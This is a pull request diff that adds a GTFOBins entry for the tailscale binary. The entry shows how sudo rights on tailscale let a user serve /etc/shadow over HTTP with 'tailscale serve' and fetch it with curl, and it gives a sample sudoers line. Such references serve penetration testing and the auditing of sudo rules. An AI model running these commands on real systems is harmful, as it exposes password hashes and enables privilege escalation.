Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions _gtfobins/tailscale.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
---
description: |
If the `tailscale` binary is allowed via `sudo`, it can be abused to read arbitrary root-readable files
using the `serve` subcommand. This launches an HTTP server (accessible within the same Tailnet)
that exposes the specified file without further access control.

functions:
sudo:
- description: |
If the user can run `/usr/bin/tailscale` as root via `sudo`, they can serve and read any file
accessible by root. The file becomes reachable via a Tailscale-assigned domain over HTTP.

Example `sudoers` entry:
```
ray ALL=(ALL) NOPASSWD: /usr/bin/tailscale
```

Example exploitation:
```
sudo tailscale serve --http=8888 /etc/shadow
curl http://<hostname>.<tailnet>.ts.net:8888/
```
code: |
sudo tailscale serve --http=8888 /etc/shadow
curl http://<hostname>.<tailnet>.ts.net:8888/
---